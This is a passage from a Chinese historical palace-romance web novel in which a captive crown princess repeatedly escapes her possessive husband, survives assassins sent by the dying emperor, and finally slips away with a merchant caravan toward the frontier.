云窈今日又听齐拂己布置,原来他们早在岐凤两州布好了两个口袋阵,就等着姜慎自投罗网。她实在忍不住了,等众人走后,两两私下,头一回多嘴:“你早知道他会逃去岐凤?” 齐拂己侧首,既然让她听见,就没想过瞒她,他锁住云窈双目,点头——是的,不仅仅他,圣人亦早算到。 云窈眨了下眼,心砰砰跳:原来之前说什么追去古蛮州,一路绕弯,都是迷惑姜慎的。那她以后逃跑,会不会也被齐拂己预料到?就像第一次那样,早早在钱庄等她? 他好擅长追逃的博弈和玩弄。 云窈心跳得更快。 “在想什么?”齐拂己问,没意识到自己最近总爱问这句话。 云窈先掩饰情绪,而后才小声嘀咕:“不是说穷寇莫追么……” “不追姜慎,我们就死了。”齐拂己直来直去,大谈生死,语气却平和寻常。其实五年前他见过一次姜慎,交谈还算欢畅,双方没有对错,但各为其主,姜慎必须死。 突然,齐拂己蹙了下眉。 一路上朝夕相处,云窈也能通过他的细微变化揣测心思——姜慎都没能引起齐拂己半分情绪波动,是什么让他皱眉? 齐拂己晲云窈一眼,眼神仿佛在邀约:一起? 云窈侧身侧首,避开对视,一起什么一起。 齐拂己负手看向前方:“进来。” 速喜掀帘进帐。 云窈眺见速喜,迅速眨了下眼,低头。 速喜凑到齐拂己身边要奏报,云窈发现自己离太近,哪怕速喜附耳她也能听见,连忙手撑着要站起,避险。 别是什么密报吧?她不想听。 齐拂己按住云窈的手,说好了一起听的。 他自觉仅用二成力道,云窈却已挣脱不得,还有些被捏痛,她听见速喜禀报的竟是宫中动向:“圣上大不好。” 云窈心一颤,齐拂己亦怔了一霎,顾不得想云窈听见这会有如何算计,心中只不断回想三个字:这么快…… 这一天来得这么快。 “速战速决,杀了姜慎后即刻回京。”齐拂己沉声下令,屏退速喜。 云窈刚想问什么,齐拂己突然抓她手腕,拽她起身,云窈两瓣唇重闭上,被齐拂己牵出帐外,送上马。 外头天黑,除了一队巡逻士兵就只有火把跃动,齐拂己尽量避开巡逻,到营地外才策马,拥着云窈,共乘一骑。夜黑风高,她禁不住质问:“你要带我去哪?” 又发什么疯?! “冷吗?”齐拂己答非所问,拢了拢披风,将云窈裹紧。 他竟带她进入最近的一座城镇,未到宵禁,尚能进城。 “不是说一不进城,二不扰民吗?”云窈扭头,原想嘲讽齐拂己,哪知鼻尖擦到他胸膛,他低下头就亲她一口。 云窈赶紧把头正回去,启唇,骂声尚未出口,齐拂己就替她答:“哈——我恶心!” 云窈的话被完完全全噎在喉咙里,一个字没发不出来,又想,这疯子,居然笑,骂自己骂得这样开心? 一时心中纷扰,又见有行人侧目,云窈立马小声央求身后:“你小点声。” 齐拂己不说话了,马到一间民宅前停驻,夜黑,府门口也没挂灯笼,云窈不大瞧得清周遭状况。齐拂己用力握她的手,强行牵进门。 云窈一面努力辨认途中所遇景物,一面想,他轻车熟路,不像第一回来,这宅子难不成早备下? 进到上房亮着灯,屋里仅一老妪,一直伫立未坐,不像主人,反倒似等候屋主归来的仆从。 老妪见齐拂己,即刻行礼,待重抬首,云窈认出她:“余婆?” 就是齐宽给她下药那回,和大安一起救云窈的哑婆婆。 那事满打满算也才过一年,云窈却觉沧桑,许是来京师后的日日夜夜消耗太多心神。 下一霎,云窈突然反应过来,当年压根不是大安和余婆救的她!他俩皆听从齐拂己安排,是齐拂己从齐宽手中救下她! 给她披衣的是他,暗中出手惩治齐宽的也是他! 云窈一时百感交集,百爪挠心,上回有一样心绪还是得知齐拂己是水月寺同奏之人,上回她怎么回应的呢?她疯了似的捶打齐拂己。 这次,云窈难受得闭起双眼。 她同时也明白,齐拂己没打算真带她上战场,他早想好把她从宫中带出来后,就安置在此处。 “你在这住几日,等我来接你。”齐拂己交待完就往门外走,却忘不了一瞥之下见到的云窈闭眼,他边走边想:他没想过同年同月同日死,他愿意为她死,但希望她好好活着。 心里也知道那句共死说过了头,但那时就是执拗、坚硬,说不出软话。 齐拂己深吸口气,猛地转身,大步流星朝云窈走近,直近到脚尖抵脚尖,快撞上她:“我不是听了速喜的回报才将你安置在这,我、我……”他一下子像是第一天学说话,句不成句,索性不说了,捏着云窈下巴吻下去。 余婆赶紧笑着退出门外,门外隐着的速喜则红了脸。 齐拂己好像之前从未呼吸过,大口张着,脑袋不住转动,继而舌尖探入,狠狠搅拌,不成章法。他将怀中佳人抱上床榻,闭起眼,亲密了太多次,哪怕目不视物,也能三两下褪去二人身上衣物。手该抚哪里,该如何侵入,皆熟路轻辙,游刃有余。 他感觉今晚的云窈好像比之前温顺了些,他心里亦柔软一片,在结束之后,依然缱绻眷恋,摸着她的脸,目光在她面上晃来晃去:“窈娘。” 他的视线最终胶在她眼睛上——这是一双恰到好处,仿佛被上天精雕细琢过的眼,眸剪秋水,眼尾微翘,羽睫纤长。 云窈闭眼。 他笑了笑,错过去吻她脸颊:“琴琴。” 终于喊出了这个辗转默念过无数次的名字,他也想唤一回她的乳名,哪怕云窈听见后立刻缩肩,他还是开心得笑出了声。 齐拂己起身,先替云窈拢好被子,而后才穿衣,一面将胳膊穿进袖子一面轻言细语:“我要回营了。” 他扭头看着云窈:“等我,最多七日就来接你。” 云窈阖眼躺床上似睡着,但他听呼吸有些紊乱,应该是装的,他抿唇笑了笑,转身离去,没有刻意收脚步,故意让她听声。 且安心。 齐拂己的脚步消失不久,就听见另一阵响动,来人轻手轻脚,但推门、走路皆有微声。借着朦胧光亮,云窈瞥见余婆身影:“婆婆,我累了,想睡会。” 余婆很快退出去。 但云窈并没有入睡,她脑子清醒,困意全无,竟抬手在自己身上摸索,齐拂己点了那么多次的穴位是哪几个来着…… * 齐拂己将速喜留给云窈,回营帐后,来报的只有大安。 齐拂己撩一眼,京中又有新消息? 大安怀中掏出一封密信,双手递到齐拂己跟前。 齐拂己撕开来看,里面写李凝时隔多日,再去了风雅居——那里是他从前和齐姝静私会之处,自打齐氏订婚,已鲜少来。突然又至,齐拂己的暗桩担心李凝此行与齐氏无关,关乎朝堂,关键时刻不敢掉以轻心,遂还盯梢。 而后便见李凝和齐氏再一次私会,听齐氏言语,她已同侯常侍谈妥退婚,只待李凝迎她进门。 李凝却拒绝了她。 齐拂己看完烧信:“这种事情以后不必报我,只要父皇动向。” 他不能理解李凝,既然执着于他家大妹,缘何又娶别的女人? 齐拂己凝望烛火,跃动火苗里竟现出云窈倩影,他想,痴恋云窈,就决计不会,也没有心思再招惹别的女人。 * 云窈早上醒来后,在府里慢吞吞逛了两圈,确定这座齐拂己为自己准备的宅邸里仅三间房,一个前院。 连后院都没有。 这么小,她猜想负责看守的护卫肯定不多。 以齐拂己的性子,疑人不用,可能就信得过一个速喜。 看守院子的兴许就只速喜。 人少,好逃,她垂下眼,用喝茶掩饰盘算。 日子静悄悄过了两日,到第三天二更,屋外隐听得刀枪剑戟碰撞声。云窈睡眠浅,即刻醒了,麻利穿衣。 绾发时余婆进来,面色焦急,手舞足蹈。云窈读了须臾她的手语:“走?” 余婆不住点头,太子吩咐过,如遇厮杀,尽快让太子妃躲进密室。 云窈敛容:“您带路。” 余婆将云窈引到后厨,一直指灶边的大水缸。 云窈不动,余婆急得拽她,云窈皱着眉头轻问:“入口是这缸?” 缸里还有水呢。 余婆继续拽,叫她下去,云窈道:“婆婆先么?” 余婆仍不住拽,云窈便猜齐拂己肯定叮嘱过,必须让她先下去,怕余婆先入缸,云窈调头逃跑,到时候捉人来不及。 云窈暗骂齐拂己一声,屏息入缸。 她边往下潜边想,他真是个疯子,把密室的入口设计在蓄满水的水缸里,万一她不会泅水怎么办? 他不会以为江南人都擅泳吧? 下潜后没划几下水,就越游越开阔,她猜测水缸应该连着一个湖。余婆还真是怕她跑了,始终游在云窈脚后,不领路,云窈只好自己赌一把,手划脚蹬,往上游,很快浮出水面唤气。 还真是一潭。 她手脚并用爬上岸,又暗咒齐拂己三声。 余婆紧跟着爬上来,抓起云窈的手,牵着她走。 云窈眨眼:“婆婆要带我去哪?” 余婆往前,这密室虽是石洞,但有床有柜,余婆从柜子里拿出一个火折子,接着搬炭盆,就在云窈跟前生火,寸步不离。 火苗蹿起来,熊熊燃烧,余婆给云窈比划,叫她把身上烤干。 云窈却看了一眼自己身上,犯难,纠结,怯怯问:“婆婆,有新衣裳吗?” 余婆拽着她的手去柜子里拿了套干净衣裳,交给云窈。 云窈接过后道了声谢,攥着衣裳走到衣架前,却又犯了难,支支吾吾:“婆婆……我换衣裳时……您能不能转过去?” 紧跟云窈的余婆沉默好一会才转身,却仅背对须臾,就重回头。云窈惊慌捂住,余婆忙挥手致歉,重背过去。云窈将湿衣裳搭在架上做屏风,在后头换起衣裳,动静颇大。 因为有声响,余婆没再回头,良久,等着有些焦灼,响动却突然止了,余婆立马揪着心转身,绕来衣架后。 砰! 躲好的云窈举起条凳,从背后击向余婆,将她打晕。 余婆倒下,又是砰的一声。 云窈心乱跳,蹲下来探鼻息,还有,她对余婆道了句抱歉,站起,毫不犹豫重跳入水中。她猜以齐拂己的心性,绝对不会允许密室只有一个出入口,那样敌人封住入口,就如瓮中捉鳖。而且那样的话,他也不用命令余婆时刻跟随。 这密室一定还有别的出口,她猜也在水下,那便是她的逃生之路。 云窈摸索许久,一口气憋至极限,眼看再不换就要溺亡,忽见上方一点光亮,她立马朝着光亮上游,拼命全力,从来没这样快过,仿佛有恶狼猛虎在后追赶。 呼—— 哗——哗—— 云窈脑袋露出水面,大口唤气,她瞧见了,峡谷,星空。她立马朝岸边游,上了岸,荒郊野外,空无一人,偶闻梟叫一声。 她大口大口吐纳,好像刚才憋的气还没换够,又仿佛从未呼吸过这般清甜的空气,极尽贪婪。抬头仰望,繁星漫天,明亮璀璨。 第49章 第四十九章 七日(二) 她攀上坡,找了个最高点眺望,附近没瞧见人家,云窈便在崖壁下挨了一晚,又冷又饿,还担心野兽出没,真怕这一晚熬不下去。 云窈不住告诫自己,坚持住,不能因为放弃。 在东宫时,齐拂己给她的吃穿用度无一不好,却不会留给云窈银子,甚至有时候还会不动声色检查,不让她身上藏钱。 他怕她跑了。 所以眼下云窈身上没盘缠,脖颈上挂的那枚桃红碧玺坠子他没给她收去,但已失去效力。所以云窈等天亮后,和路上遇到的第一个商队做了场亏本买卖,用头上的金簪折了二十两银。 她用当中三十文,从一户农家买了套农妇穿的旧衣裳,换上,再把脸抹黑些,连夜往南赶路。 离京城越远越好。 * 齐拂己率军追至岐凤。 他站在崖上,俯瞰脚下坑中被绑的姜慎及一众乱党,面无表情。 身后旌旗猎猎。 姜慎远远仰眺见众将当中簇拥着一点红甲,并不能辨认面目,就怒目圆睁,扯着脖子叫骂:“篡国逆贼,尔与尔父不得好死!你——” “放箭。”齐拂己下令,语气里听不出一丝情绪,没必要等手下败将把话都讲完,时间拖得越久,越容易出意外。 乱箭如雨,将姜慎射成了刺猬。 齐拂己缓步下山,到坑里亲自检查,补了两剑,确保姜慎气绝,而后收剑入鞘往回走,大安急急忙忙附耳汇报——圣人的暗卫找着了太子妃藏身之处,和速喜交手,虽然速喜斩草除根,皆处理干净,但太子妃却趁乱打晕余婆,逃跑了。 她又跑了,齐拂己心里默念,出奇的平静,甚至还能感叹她的水性果然好,比他预想的还要优秀。 他竟然想,下次和她鸳鸯戏水试试。 “速喜担心陛下还会派第二拨人动手,去追护太子妃了。他说有负殿下所托,待平安送回太子妃后,就以死谢罪……”大安边走边给速喜说清,“还望殿下开恩,饶恕速喜这一回。” 齐拂己边听边往前走,步子没有任何停滞和紊乱:“她的婢女呢?” 大安愣了下,才反应过来问的落玉:“一切皆如殿下吩咐,暂无差错。”话音刚落,觉出不妥,赶紧补充,”“以后也不会犯错!” “七日后我去接她。”齐拂己对着前方分唇合唇,眼神和语气皆坚毅,像对大安,又似告知远方的云窈,他和她约好了分开七日,多一天都不行。 大安步子减缓,满腹疑惑,不知太子何意。 * 云窈运气不好,出逃第二日就赶上大雨,被困山中。 待雨停,已经天黑,只得再次夜宿荒郊,这回比昨天在峡谷里还可怕,总能听见呼呼声,像林后藏着野猪。野狗兀地一叫,云窈吓得耸肩,过会,再一叫,她还是受惊耸肩。 不会还有狼吧? 想到这,她汗毛都竖起来。 天一亮就赶紧撑着打架的眼皮,赶去第二座城。 这城据说是从前高祖皇帝从夷人手上收回来的,百年来都没怎么改造,所以不像汉人的城池修得四四方方,七弯八绕,形似迷宫,无法通过太阳指路。云窈一直在鬼打墙兜圈子,更困了,最后咬咬牙,上客栈,花一两银子包了间房,住一宿。 银子不能白花,她同时从客栈掌柜那要来一张小城地图,把每条道都记清楚,再不似迷宫。 翌日清晨,云窈犹豫一霎,还是舍不得雇车,单靠脚力出城。 她想着这才出逃第四日,还早,等过个半载,稳定了,她去应聘绣娘或者教琴,接点活计,手头就宽裕了。 眼下还是能省则省。 云窈正要从南门出城,突然又下雨,她只好从城墙旁的小摊上买一把伞,小贩趁雨要高价。 忍气吞声,云窈打伞出城,道路泥泞,周围大大小小水洼,忽有一鸟扑腾翅膀,自枝头飞起。云窈这几天被飞禽走兽搞警觉了,总觉得不对劲,大雨天鸟没理由这么飞,除非是被人惊到。 可那边明明瞧不见人影。 除非,有人躲藏。 云窈放慢脚步。 一步、两步,她越走越慌,突然调头往城里跑,期间回头望了一眼,好像真有人影闪过,再回头,又不见人。 云窈越跑越快。 那人许是怕她真跑进城里,不好除去,赶在城外现身出手,云窈瞧不清形貌,只见一道白光袭来,是利剑,她立马大喊:“救命啊!救命!” 城门处,些许百姓朝这边探头,她脚下生风,不敢回头,余光窥见那白光好像消失了。 是那人不好出手收剑了吗? 是齐拂己来捉她了? 不,不是齐拂己,别人云窈不清楚,但齐拂己她敢笃定,他绝不会对她持剑相向。 云窈猜,那晚和速喜搏斗的那群人…… 圣人的人? 除了圣人,她想不出还有人有杀她的理由。 云窈入城以后,哪人多往哪跑。路上有七、八人一起行路,像是一大家子,云窈就混进去跟着,这样拖延了刻把钟,那家人到家回去了,她重新变成一个人。 云窈毫不犹豫,撒腿就跑,生怕慢了被刺杀丢面。 果不其然,那杀手还追着,好在云窈已经摸清楚城里的路,各种钻巷绕弯,短暂甩开他。 她手撑着膝盖,大口喘气,还没休息多久,杀手再次找到她,这回多了一个杀手,南北封堵,云窈只能往西再绕小巷子,又得一阵子喘息。 如此往复,似耗子逃,猫儿捉,她渐渐体力不支,被包围住。云窈顾不得小雨,拿伞转着圈挥舞,不允他们近身。 一声脆响,伞被打掉的同时云窈脱力,另一侧长剑直朝她刺来,云窈手脚并用往往旁边躲,原先要刺进她心脏的剑划偏,顺着云窈左脸颊,从唇角到眉梢拉出一道长口子,再直指长空。 四面包夹,杀手们举剑还要砍,云窈自知逃生无望,却仍睁着眼,忽然,她眼前离得最近的那名杀手定住。 云窈发现有一支箭穿透他的喉咙,露出的尖镞对着她滴血,一滴、两滴…… 杀手轰然栽倒,云窈瞧见不远处齐拂己拉张着那张没有箭的弓,凝眸看着她。 其余的杀手也迅速被解决,原来不仅速喜,大安也会武功。 巷中所有杀手转瞬全被铲除,雨水冲刷血水,齐拂己撑伞到云窈身边,她头顶的雨立刻止住。云窈眺见远处落玉急匆匆下车:“小姐!” 她心里松了口气,还好,他也有护落玉安全。 她看向齐拂己,他迎着她的目光,缓缓开口:“说了让你等我。” 云窈心算,他说七日后来接他,她在那宅子里待了三日,出逃四日,加起刚好七天。 脸上忽然有动静,云窈低头,见是齐拂己正拿帕子给她脸上的伤口止血。 “大公子!”她突然展臂扑入齐拂己怀中,将他腰肢环住。 多久没听见这个称呼了,齐拂己心神俱颤,直接将她打横抱起,带回驿馆。 他给她清疮,上药,云窈乖乖坐着,从来没有这么听话过,视线也始终胶在齐拂己脸上,好几次把他耳根看红。 云窈看着铜镜里的自己,左半张脸涂着黄绿夹杂的膏药,散发着苦味。 “这会留疤么?”她问齐拂己。 他将她细细打量,平静回答:“在我眼里没有区别。” 诚然对她的喜爱一开始源于倾城容颜,但如今已经远远不止一张脸了,所以会不会留疤,这张脸在他眼里都没有变化。 他看云窈的唇有些干,便走向桌边,打算给她倒杯水,云窈却突然拉住齐拂己:“别走,我怕。” 齐拂己一愣,而后才发现过来这桌靠近门边,她以为他要离开。 他低头,细细打量云窈拽他衣角的那只手。幸福忽然降临,他心里被感动胀满,缓缓牵住柔夷:“我会一直陪着你。” 他将云窈拥入怀中,她没有丝毫反抗,也不似从前那样硬挺着身子,像块板。她好像主动贴上他胸口,齐拂己不敢确定是云窈真这么做了,还是他的幻觉。 众人赶回京城,齐拂己和云窈回到东宫。 不再夜宿军营,他终于可以同她欢好,在寝殿的长明灯下,他清清楚楚见着她压低两肩,踮起双脚,尝试着主动给他一个吻。 他这才相信自己的眼睛,她是真的变了。 许是齐拂己太高,云窈的唇嗑在下巴上,他急忙将她扶住:“疼不疼?” 云窈不答,再踮脚,齐拂己弯腰弓背,将就她,可云窈还是没对准,吻到齐拂己唇角。他大笑,二人亲吻不说上百次,几十次是有的,怎么她还跟没亲过似的,摸不着门路? 但这份青涩的确取悦到他,他觉得这是云窈的改变,她终于瞧见了自己的真心。 “这几日没有剃须,是不是有点扎人?”齐拂己情不自禁用最温柔的声音问,明早就持戒刀剃须修面。 云窈抿唇。 他看得满心欢喜,还是自己来吧,他手紧一紧,云窈就踉跄跌入怀中,他再低头吻她,竟生出教导的感觉,意料之外的惊喜。 他喜欢这夜她什么都不懂,又要从头道来的样子,冰原雪化了以后,草不就是要一点点长,花要重新播种么? 这是他最美妙的一次体验。 * 翌日,齐拂己去见圣人。 其实他昨日就去过一次,圣人身子很虚,半躺半靠在椅上,今日再探望竟已卧床,病情发展得很快,齐拂己脑海里冒出四个字:山崩地裂。 他沉默不语。 圣人看穿,笑道:“本来就是强弩之末。” 但赶在死前登大宝,死后葬的地方,子孙万代都不一样了。 圣人当然还有遗憾,但大抵是知足的。 齐拂己还是抬手要探下圣人的脉,圣人收臂,摆摆手,他既不看太医也不用儿子问诊,因为他不会吃药或者针灸——圣人担心会有人害自己,死得更快。 “朕驾崩那日就让你母后来扎针喂药,让她消消气。”圣人禁不住同齐拂己说笑。 齐拂己没想到以圣人的性子,竟然能谈笑生死,不由抬眼看向床榻。父子四目相对,他却从圣人眼中读出不甘和一丝恐惧。 还是所有人都怕死啊。 齐拂己想起许久之前同水月寺玄苦方丈的对谈,聊到婴孩出生那一刻,便将走向死亡,却仍人人怕死。 方丈说,人之所以畏惧死亡,是因为想要的太多,连生死都想掌控。 由惧生有,这时就需要佛家的平常心,放下心。 齐拂己倒是不惧生死,但他亦有放不下的执念。 想到这,齐拂己垂眸。 圣人身体不好,眼却不昏花,一眼看穿,勾了勾嘴角:“你也别怪朕下狠手。” 都是为了齐拂己好,一番生死折磨,那女人不就驯服乖顺了么? 且齐拂己也折了圣人许多暗卫。 不过在圣人眼里,那些人自然比不得齐拂己,不值得为几个暗卫伤害父子情意。 “日后做君王,总要狠下心来用点手段,”圣人教导齐拂己,“就该这么驯。” 齐拂己沉吟不语,他既喜欢云窈如今的主动、温顺,却又不希望她真变得和少时的自己一样。 圣人亦垂眼阖唇,想的却是自己这两日故意贬谪了一些从龙功臣,齐拂己登基后一定会将他们重召回,这样他们会对新君更死心塌地。 圣人不介意做这个恶人。 “那女人……”圣人支撑着重开口,还是有点不放心,“那女人要是日后还逃,就是真养不熟,不必再费工夫。” 圣人抬起的右手一直在不受控颤抖,却还是威严神色,做了个抹脖子的动作。 齐拂己知道此刻必须表态,于是躬身拱手:“儿臣一定谨遵父皇教诲。” * 齐拂己回东宫寝殿不会通报,推门时云窈正坐桌边,见他进来急忙将手上东西藏到背后。 齐拂己偏巧没看清,联系圣人言语,心不由微沉。 他朝云窈走近,云窈皱眉眼直眨。 近到她身边时,他可以一把抓过她的手看藏的是什么,却还是先问了:“在做什么?” 云窈咬唇。 齐拂己心再沉一分。 她慢慢将胳膊还回前面,齐拂己看见她手上抓的布、线、针和刺绣,他认得是什么,却脑子转不过来,出口道:“小心别刺到手。” 和她一起把针放下,才缓缓回神——她手上是个未绣好的香囊。 不敢全信,齐拂己呢喃:“做给……我的?” 声音不受控发颤。 云窈懊恼地噘了下嘴:“还没绣好就被看到了!” 却也脸颊通红。 齐拂己当即蹲下,从下往上仰望云窈的脸:“你有没有什么想要的?” 他也想送她东西。 云窈想了想,摇头:“暂时想不到。” 齐拂己抿唇一笑,那就都送,把所有的奇珍异宝都捧到她面前。因为他也想让她快乐,他愿意为她的展颜付出一切。 云窈手垂下,轻轻牵住齐拂己袖子。 齐拂己张目,眸子亮堂,任由她牵。 云窈将他的手拉到自己后腰,齐拂己会意,旋即揽住她。 又觉不够,双手把她圈住。 “你也坐吧。”云窈红着脸说。 “那你做我身上。”齐拂己脸上灿烂的笑容压根收不住,云窈低垂着脑袋,听话的坐到他腿上。 齐拂己将她重新拥住,这一刻他心里浮现一个词:乐在其中。 云窈侧身,缓缓靠上齐拂己胸膛。齐拂己刚想收臂拥紧,忽然身上连痛几下,云窈竟趁他卸下所有防备,封住了他的定穴和哑穴。 她戳得极重,下了狠手,完全没留情面。 且快而果决,明显演练过许多次。 很好,偷学、偷师,齐拂己身不能动弹,心里却讥笑默念,痛苦酸涩一息化作冰冷。 云窈开始在他身上扒拉、搜找,她不要银票,只要银子,齐拂己身上有两块令牌,一块是军令,另一块是私令,她两块都拿出来,对照着辨认,然后把军令那块放到桌上,只拿私令。 齐拂己气得在心里连笑三声。 云窈收好私令和银两,头也不回,迅速走出东宫。 齐拂己眼珠转动,去瞥桌上,那绣了一半的香囊她没带走。 也对,本来就是哄他的玩意。 他一直枯坐,心里默默计算时辰。 约莫过去半个时辰,大安在门外唤:“殿下,殿下?” 齐拂己哑穴尚未冲开,无法应声。 大安又遵从命令,不敢擅闯寝殿。等到齐拂己自行冲开穴道,天已经黑了,他大步流星出门要去捉云窈,候在门口的大安却转过来急道:“哎呀您终于出来了!” 齐拂己观大安神色,眉头微蹙。 少顷,他朝门内退了两步。大安跟在进来,附耳语若连弩:“陛下龙驭上宾,已登极乐,但还未报,一切等殿下主事。” 大安说完自个顿了顿,也许……殿下这个称谓已经不再合适。 第50章 第五十章 柳暗花明又一村 齐拂己面沉如水:“眼下父皇停灵何处?” 大安小声附耳:“还在龙床上,帐子掩着。” 宾天之事,秘而未发。 齐拂己紧抿双唇,站定须臾,侧身转向往圣人的寝殿走,步伐果决,终是分了轻重缓急,将云窈暂放一边。 两步后,还是启唇:“太子妃不见了。“ 大安瞪大了眼,忍不住回头张望东宫寝殿,方才太子妃不在里面吗? 齐拂己边朝圣人寝殿走边下令:“暗地里派拨人在宫里城里都搜一搜,莫要打草惊蛇。” 大安应喏后还跟着齐拂己往寝殿赶,直到主子瞥他一眼,才会过意,调头去安排人手搜寻云窈。 齐拂己独自赶至门口,早有他的护卫围住寝殿,随其一道进入。齐拂己跪地三叩,承圣人遗诏继位后,才昭告天下,着令敲响丧钟。 皇后来得不算迟,但也不早,没什么表情。齐拂己迟疑须臾,上前扶她:“母后节哀。” 皇后缓缓搭手,真让他扶住。停灵、守灵皇后虽面色悲戚,却无眼泪,直到下葬那日,看着圣人棺木入灵,她才觉着,是真诀别了。 天气晴好,微风拂面,她想这一生做公主、皇后,现今又成了太后,荣华加身,不曾失过富贵,但男人却只经历过一个,如果成亲前多掌掌眼,在几个当中挑选,而不是认定先定,会不会不一样? 也许不会选眼前这个长眠帝陵的男人。 但这一辈子,已经爱恨交加,他是她最密不可分的人。 皇后淌泪不止。 一开始是真的难过,不舍,甚至某一霎生出随先帝离去的死志,但渐渐平复,泪还在流,心里却想,自己的皇祖父很早就过世了,之后他的女人们都活了很久。 她应该也会一样,长命百岁。 太后转身抬手,让新帝齐拂己搀扶自己回宫。当天夜里,她赐死了所有先帝宠信过的妃嫔,着令殉葬。 这懿旨送到御书房过目时,齐拂己都觉得这事残忍,心底暗叹一声。 又想,这就是男人拥有女人多闹的,像他,将一生忠于云窈,就不会发生这样的惨剧。 “有她的下落了吗?”齐拂己问。 大安愣住,刚刚不到一刻钟前,才禀明陛下,太子妃,呸!现在是皇后娘娘了,她和落玉一道,用陛下的私令出了城。 这才过去一会,怎可能有新消息? 于是大安把刚才禀过的话重新复述一遍,齐拂己徐徐颔首,并不着急,他已登基为帝,普天之下莫非王土,她又能逃到哪去呢? 果不其然,十五日后收到新消息,齐拂己的私令出现在宣城。 同时有人在宣城附近瞧见长得像落玉的女子采买干粮。 齐拂己一笑,云窈往南下了,要回杭州。 她思乡可以和他说啊,他陪她一道回家省亲。 当然,事要面面俱全,齐拂己叮嘱:“别处也搜搜,不要拘泥宣城到杭州这一条路。” “遵旨。” * 靠近岐凤的古道,黄沙漫漫,七、八匹马排成一列,各驮货物,缓向西行,左右两名男子另骑骏马,佩剑看护。队伍最末是两辆马头,里头坐的皆是女眷和孩童,云窈也在其中。 她从来,压根没打算回杭州。 那是给齐拂己布的障眼法,私令她出京没多久,就丢到一座南下的商船上了。 他万万料不到她会回岐凤,然后再往北走,出关,到异国他乡,王土之外。 云窈没想过丢下落玉,落玉却不肯再与自家小姐同行,坚称关外的风沙大,天气干燥,会住不习惯吃不习惯,自己贪恋江南水乡,说什么要回杭州。 云窈晓得落玉是为她好,尽量吸引齐拂己注意,拖延时间。 云窈许久没哭了,却在落玉一番话后,看着她吊儿郎当的表情,热泪盈眶。 云窈笃定齐拂己不敢杀落玉,最终主仆分别。 落玉故意跟随南下商船晃荡,后来她还学了一句话,“海阔凭鱼跃,天高任鸟飞”,籍此送给往西北去的自家小姐,光阴如梭,小姐是不是已如愿出关? 这是后话,暂且不提,说回云窈这边,她偶遇了一队和胡人做生意的商队,一家八口,个个热心快肠,听说云窈要去寻在关外做生意的哥哥,正好顺路,立刻邀请她上车同行。 云窈起初很是戒备拘谨,坚持付车钱,安安静静贴墙盘膝。这一家人都多话,叽叽喳喳打了会,发现云窈孤零零待在角落里,不由分说将她也拉到中间来。 她们说车厢宽敞得很,不差一个人,让她谈天说地,不必拘束。 云窈不敢透露自己的真实籍贯,谎称京郊人氏,答话真假半掺。别人问她怎么称呼,她从乳名里话个同音字,说自己姓秦。 商队里的男女老少好像都没觉出破绽。 有商队遮掩,穿城通关,云窈少去许多盘查。 眼下午时,又到饭点,她们吃随身带的干粮胡饼,上面撒芝麻,内里没馅,便于储存。车厢里有两大麻袋,够吃半个月。 “别吃饼了。”外头的男人喊,他是一家之主,姓王,四十左右,“饼什么时候都有机会吃,尝尝这个。” 说着递进来一个包袱,王大娘子接过分饼,云窈也得一个:“尝尝,石头饼,只有岐凤一带才吃得着。” 兴许因为这饼热乎,云窈又好些天没吃热食的缘故,情不自禁咽了口口水,咬一口,再咬一口,吃得飞快。 “慢些吃,别噎着。”王大娘子笑道,“喝点水。” 云窈点头,打开自己的扁壶,现在她也习惯用这个饮水。王大娘子没离开,仍挨着云窈:“秦姑娘,说真的,到关外我领你和那位刘掌柜见见?” 云窈默不作声,再喝第二口水。 一开始上车队时,王大娘子就打听过婚否。因为盘发,云窈也不好说未嫁,便编了个相公死了,是寡妇,家里没人,这才去投奔亲哥。 王大娘子惋惜了两句不幸,揭过这茬,云窈以为这事已经过去,哪知昨日王大娘子突然重提起,说这些日子瞧在眼里,云窈品性不错,可惜家里没有年纪合适的男子,不然一定给云窈说桩媒。 云窈笑说自个没有再找的想法,王大娘子却自说自话,说到了关外有个和他们做生意的刘掌柜,去年丧妻后一直想觅个续弦。 云窈会意,笑着婉拒,以为揭过了,哪知今日王大娘子再提。 云窈不松口:“我还是先寻到我哥再说,长兄如父,一切要听哥哥安排。” 王大娘子脸垮一瞬,转而重笑起来,问她吃饱没有,石头饼还要不要加一个? 云窈又要了一个,但是饼凉了,没刚才那种滋味。 商队天黑便歇,在最近的村子里住了一宿,翌日赶路,途经前面一唤作高兴的镇子,却见城门封锁,挨个排查。 云窈心一紧,把头压下。 “你们是从槽头村来的吗?”镇民们持着器械问,“经过槽头村没有?” “怎么了?”王大当家赔笑,“我们绕路过来的,不曾到过。” 云窈听见王当家撒谎,却不敢瞥。 “槽头村最近在传痘疫,那的人不让进镇子。” 原来不是齐拂己捉人,云窈松口气,但也不敢全松懈,半信半疑。 商队里的人却开始你看我,我看你,最后经过了镇子,才由王大娘子问起:“秦姑娘,你出过痘疹没?”怕她听不懂,又补充,“就是水花。” 云窈摇头。 商队里的人又互相看了看,还是王大娘子告诉云窈,队伍里的人除了云窈,都已经出过。 “且先走着吧。”大当家说。 可没走多远,不过半天时间,云窈脸上就开始起水泡,身上红点亦星罗密布,仿佛春风吹过,遍地生根。 商队众人支吾了会,同云窈商量,要把她送回镇外的疫棚:“秦姑娘,不是我们不带你继续过关,实在是我们走商的,人家见了你的脸,不要货了。” “我明白的。”云窈并没有为难商队,反而笑着把这几日的车钱都补给大当家。她坐在棚里和商队大伙挥手分别。 云窈虽然没出过痘,但晓得这是有药可医,有方可医的病症,人早晚要得,发几日热就能毒尽斑回。 疫棚里的发吃食,她接了就咬,填饱肚子才好熬高热,吃完却即刻痒起来。 “这是什么糕啊?”她问病友,攥着拳头忍住不挠。 “什么什么糕?”当地人竟然听不懂官话。 云窈只得问慢些,再慢些:“这是用什么做的,馅料?” “桃子啊!” 完了,云窈默然长叹,果然不一会她就肿得跟猪头似的,忍不住了,这远比痘疹痒,她想挠。 “唉,姑娘,不能挠。”棚里的大夫递给一碗药:“喝点药,喝了就不痒了。” 云窈饮下,很快发现喝完药人变得昏昏欲睡,那犯困睡着了,的确就不觉痒了。 在上下眼皮打架,即将合上的前一霎,她瞧见远处有一着箭袖,身形高大的男子,领着一群人正朝疫棚这边走来。 她记得齐拂己穿过一回箭袖,她不会又要被他捉回去了吧? 又失败了么? 许是宫里路上,时时刻刻与人斗的缘故,云窈练出一个服药以后,此时此刻还能飞转的脑子,辨出着箭袖的不是齐拂己,而是许久未见的步仙镝。 他身后跟着小校打扮,矮半个头的男子,是铁头。 再周遭的军士,就不识得了。 小太尉…… 